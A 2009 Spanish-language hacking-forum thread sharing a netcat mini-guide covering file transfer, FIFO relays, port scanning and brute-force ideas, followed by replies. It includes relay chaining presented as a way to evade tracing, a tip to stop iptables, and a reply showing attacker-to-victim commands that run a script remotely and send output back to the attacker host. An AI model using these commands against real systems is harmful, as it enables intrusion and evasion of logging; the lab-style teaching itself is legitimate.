Foro de elhacker.net

Seguridad Informática => Hacking Básico => Mensaje iniciado por: kamsky en 8 Octubre 2009, 14:02



Título: [Mini-Guía] Otros usos de netcat
Publicado por: kamsky en 8 Octubre 2009, 14:02
Bueno, aunque este tema también está muy trillado, quizás haya gente que únicamente utiliza el Netcat para conseguir una shell/reverse shell

A parte de esto, hay bastantes funcionalidades que nos ofrece esta navaja suiza, y que en algún momento dado nos pueden servir de ayuda.

Este texto no pretende ser una guía exhaustiva, simplemente un punto de partida para que la gente le pique la curiosidad y explore un poquito más los posibles usos del Netcat

- Transferencia de archivos:

Hay momentos, en que estamos buscando pasarnos archivos de un host a otro y no sabemos como, netcat nos ofrece una forma muy cómoda de conseguir esto, sin necesidad de montarnos un mini FTP o cualquier otra cosa que se nos ocurra.

Es tan sencillo como lo siguiente:
      en el servidor:
Código:
# netcat -l -p 5050 > pass.txt
    en el cliente:  
Código:
# cat pass.txt | netcat ip_server 5050

Con esto conseguimos pasarnos sin problemas un simple archivo de texto, pero....
Que pasa si queremos ir un pelín más allá, y pasarnos un binario (un ejecutable, un simple fichero openoffice,...)?¿?¿
Vamos a probar a ver que ocurre:

       en el servidor:
Código:
# netcat -l -p 5050 > ej.odt
    en el cliente:  
Código:
# cat salida.odt | netcat ip_server 5050

Y ahora comprobemos (suponiendo que el ejemplo lo hemos hecho en la misma máquina):
    
Código:
# diff ej.odt salida.odt
#

Como vemos, no hay NINGUNA diferencia, asi que podremos transmitir binarios sin problemas... ;-) :silbar:


- Relays utilizando netcat:

    Para este ejercicio necesitaremos 3 máquinas distintas. Crearemos un relay
en la máquina Linux utilizando un netcat ejecutándose en modo de escucha y como cliente.
Este reenvío dirigirá los datos de una primera máquina(A) hacia otra(B).
Esta máquina de reenvío conectará una primera máquina ejecutando un
netcat en modo cliente con una tercera (C) ejecutando netcat en modo servidor
o escucha.

Una vez establecido, el reenvío podría permitir el acceso a esta última
máquina desde la máquina original.

El host intermedio hace de proxy, de forma que nosotros nos conectamos a el
y el nos conecta al servidor final, de esta forma conseguimos que sea más
dificil rastrearnos, ya que en los logs del server aparecerá la Ip del host
relay.
Obviamente cuantos más hosts intermedios usemos más dificil se hará
la tarea de rastrearnos.

    Una manera de crear relays es unir la entrada y la salida de un cliente y
servidor netcat utilizando un chero especial denominado FIFO (First In, First Out).
Podemos crear un fichero FIFO y utilizarlo para unir un netcat en modo
servidor con un cliente con las siguientes órdenes:

    
Código:
# mknod backpipe p
# nc -l -p [puertoA] 0<backpipe | nc [IP_Destino] [Puerto_Destino] 1>backpipe
                                                     
    Donde el puertoA  es el puerto donde escucha el relay y  Puerto_Destino es el
puerto de la máquina destino (IP_Destino) donde hemos situado la puerta trasera
con la shell. Es importante no poner espacios en las redirecciones (>,<). Estas
redirecciones permiten dirigir la entrada y salida estándar hacia backpipe y no
pueden tener espacios junto a ellos.
    Para que esto funcione es necesario que si tenemos un mecanismo de filtrado
de paquetes permitamos que el paso de los paquetes hacia la máquina C. Es
posible que si tenemos activo iptables (que puede funcionar como un cortafuegos)
esto no esté permitido. Podemos desactivar iptables del siguiente modo:
      
Código:
/etc/init.d/iptables stop

Bueno, pues manos a la obra, como dijimos, vamos a necesitar 3 máquinas (en mi caso,
el propio host donde trabajo, y 2 máquinas virtuales), las IP's son las siguientes:
Citar
Server: 192.168.1.129
Relay: 172.16.72.135
Cliente: 172.16.72.136

Procedamos pues.

En el Servidor, mediante netcat dejamos un puerto a la escucha con una shell de regalo:
Código:
# nc -l -p 5555

En el Relay, creamos la FIFO, y mediante tuberías unimos el asunto:

        
Código:
# mknod buffer p
# netcat -l -p 1111 0<buffer | netcat 192.168.1.129 5555 1>buffer

Como se observa, primero creamos el buffer con ayuda de mknod, y después, usamos este para unir la entrada estandar (que en este caso será lo que nos mande el cliente mediante netcat) con la conexión al Servidor y guardar de nuevo la salida de esta última conexión en el buffer, que se reenviará al Cliente (Es un poco lioso, asi que mirar detenidamente la instrucción y tratar de entender paso a paso lo que haría)

Finalmente, nos conectamos desde el cliente y observamos que tenemos la shell con el Server:
    
Código:
# netcat 172.16.72.135
pwd
/home/XXXX

Para asegurarnos que la conexión desde el cliente hasta el servidor, ha sido "enmascarada" por el relay, vemos en el Servidor las conexiones activas, flitrando por el puerto 5555 que es donde estábamos escuchando, y obtenemos lo siguiente:

Código:
# sudo netstat -aveptn | grep 5555
tcp        0      0 192.168.1.129:5555      172.16.72.135:51220     ESTABLECIDO 1000       44068       9038/bash

Vemos que efectivamente alguien se ha conectado a nuestro puerto 5555, que tiene una shell (bash), y que la conexión proviene del Relay (172.16.72.135:51220)


- Uso como scanner:

Nos podemos encontrar en algún entorno en el que no tengamos a mano NMap o miscelaneos, por lo que como no, siempre podemos echar mano de nuestro amigo, y usarlo como un scanner de puertos (algo ruidoso y tosco, eso si :P)

por ejemplo:
Código:
# nc -vv 127.0.0.1 22-25
localhost [127.0.0.1] 25 (smtp) : Connection refused
localhost [127.0.0.1] 24 (?) : Connection refused
localhost [127.0.0.1] 23 (telnet) : Connection refused
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_4.7p1 Debian

- Y más...

Hay MUCHAS más cositas que hacer con este estupenda herramienta, se me ocurren cosas como:

- un bruteforcer: Podríamos crear un diccionario, y mandar palabra por palabra
      sus entradas a un puerto de forma que cuando se encuentre la contraseña
      correcta se registre.

- sacar información: bastará con conectarse al puerto del que queramos
      extraer la información del servicio y guardar su respuesta para luego
      analizarla.

- mini-chat: aunque no os lo creais, esto se usa (verdad Averno?¿ :P)

Y esto es SÓLO la punta del iceberg, si teneis curiosidad, echarle un vistazo a esto:
http://nmap.org/ncat/guide/ncat-tricks.html

salu2!











Título: Re: [Mini-Guía] Otros usos de netcat
Publicado por: PitJunFan en 8 Octubre 2009, 18:01
Gracias por tu aporte se agradece.


Título: Re: [Mini-Guía] Otros usos de netcat
Publicado por: Azielito en 8 Octubre 2009, 21:17
alguna vez estaba programando en batch un escaner de puertos [...]

no sabia que se podia usar como parametro un rango xDDDD


Título: Re: [Mini-Guía] Otros usos de netcat
Publicado por: kamsky en 8 Octubre 2009, 21:30
jejejeje, suele pasar, mucha gente desconoce el gran abanico de posibilidades que permite NetCat, de ahí su apodo de Navaja Suiza


Título: Re: [Mini-Guía] Otros usos de netcat
Publicado por: toxeek en 9 Octubre 2009, 13:12
Citar
- mini-chat: aunque no os lo creais, esto se usa (verdad Averno?¿ :P)

                     ;-)


Título: Re: [Mini-Guía] Otros usos de netcat
Publicado por: zhyzura en 9 Octubre 2009, 23:54
la transferencia de archivos es algo tambien bastante usado y a pesar de ello muchas personas siempre tienen problemas para que les funcione je ojala mas de alguno se aclare...


Título: Re: [Mini-Guía] Otros usos de netcat
Publicado por: kamsky en 10 Octubre 2009, 12:38
si, quizás el traspaso de archivos sea de las funciones más usadas, y la verdad es que no le veo la dificultad!! :P


Título: Re: [Mini-Guía] Otros usos de netcat
Publicado por: braulio-- en 10 Octubre 2009, 16:47
Mirando el post se me ocurrio un nuevo uso para linux si está deshabilitada la opción -e.
La opción sirve para poder ejecutar scripts en el equipo remoto.
Equipo atacante : 192.168.1.33
Equipo víctima : 192.168.1.34
Pues en el equipo atacante hacemos :
Código
  1. $ nc -l -p 18181 > logs.txt
En el víctima :
Código
  1. $ `nc -l -p 19191` | nc 192.168.1.33 18181
Y por ultimo, en el atacante :
Código
  1. $ nc 192.168.1.34 19191 < script.sh
Todo eso ejecutaría el script.sh en el equipo víctima y el resultado se guardaría en logs.txt del equipo atacante.


Título: Re: [Mini-Guía] Otros usos de netcat
Publicado por: kamsky en 10 Octubre 2009, 23:12
pues la verdad es que no se muy bien lo que pretendes hacer... :-\

en el atacante dejas un puerto abierto, y después te conectas desde el mismo atacante pasándole como argumentos la salida del script... :huh: :huh:

por otro lado, en la víctima dejas un puerto a la escucha (al que nadie se conecta), pasando su salida (ninguna) a la conexión con el puerto atacante... :huh:

p.d.: supongo que te habrás equivocado en lo que has puesto, pero partiendo de tu idea, si no eres capaz de obtener una shell (con -e, que no entiendo porque iba a estar deshabilitado), tampoco podrás ejecutar comandos, lo único que conseguirás es pasarle una serie de comandos...vamos, como si estuvieras copiando un archivo

salu2


Título: Re: [Mini-Guía] Otros usos de netcat
Publicado por: braulio-- en 10 Octubre 2009, 23:16
Pero por defecto en linux viene con la opcion -e desactivada.
Me confundí con los puertos, ya está bien.


Título: Re: [Mini-Guía] Otros usos de netcat
Publicado por: kamsky en 11 Octubre 2009, 00:28
-e es un parámetro más, si quieres lo usas y si no no...

lo que tu estás haciendo, sigo sin verle sentido... si en el servidor eres capaz de ejecutar el comando que pones, lo mismo puedes hacer y ejecutarlo con un -e /bin/bash...

y repito, lo que estás poniendo no tiene sentido, prueba a ejecutarlo y a ver la salida...


Título: Re: [Mini-Guía] Otros usos de netcat
Publicado por: braulio-- en 11 Octubre 2009, 11:32
A ver , yo lo que digo es que en todas las distros de linux que he probado, el netcat venía sin la opcion -e, puedes probarlo.
Y mira, te paso un captura de pantalla demostrandote que si funciona "mi metodo".
El orden de los pasos es de atrás hacia delante.
(http://img195.imageshack.us/img195/1775/pantallazo1u.png)
En el pantallazo he usado mi ordenador como atacante y victima, pero se puede hacer en distintos ordenadores.


Título: Re: [Mini-Guía] Otros usos de netcat
Publicado por: kamsky en 11 Octubre 2009, 12:54
Pues no se, yo he usado siempre Debian o Ubuntu, y en ambas me venía habilitada la opción -e...

no entiendes lo que te puse antes, mira, hagamos una cosa:

Se supone que tu terminal 1 y 3, son del ATACANTE ok?
y la 2 es la de la víctima.

Declara en la 1 y la 3 una variable con  un valor, por ejemplo:
Código:
# A=1
Y ahora en la 2, la misma variable con otro valor:
Código:
# A=2

Ahora cambia el contenido del Script, y haz que te imprima el valor de la variable:
Código:
echo $A

y ahora ejecuta todos los pasos de nuevo...que valor devuelve?¿?¿


Título: Re: [Mini-Guía] Otros usos de netcat
Publicado por: mokoMonster en 14 Octubre 2009, 20:04
::) Amo este foro  ::)